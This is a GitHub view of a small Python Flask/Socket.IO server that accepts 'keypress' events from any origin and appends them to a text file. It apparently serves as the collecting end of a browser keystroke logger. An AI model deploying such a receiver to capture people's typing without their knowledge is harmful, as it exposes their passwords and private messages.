-
Notifications
You must be signed in to change notification settings - Fork 0
/
server.py
47 lines (30 loc) · 1.04 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import eventlet
import socketio
from flask import Flask
import os
app = Flask(__name__)
app.debug = True
sio = socketio.Server(cors_allowed_origins='*')
app = socketio.Middleware(sio, app)
script_dir = os.path.dirname(__file__)
file_name = 'keypress_data.txt'
file_path = os.path.join(script_dir, file_name)
if not os.path.exists(file_path):
try:
with open(file_path, 'w') as file:
pass
print(f"File '{file_path}' created.")
except Exception as e:
print(f"Error creating file: {str(e)}")
@sio.event
def keypress(sid, data):
print(data)
try:
with open(file_path, 'a') as file:
file.write(data + '\n')
print(f"Data saved to '{file_path}' successfully.")
except Exception as e:
print(f"Error saving data to file: {str(e)}")
sio.emit('response_event', {'message': 'Hello from the server!'}, room=sid)
if __name__ == '__main__':
eventlet.wsgi.server(eventlet.listen(('127.0.0.1', 5000)), app)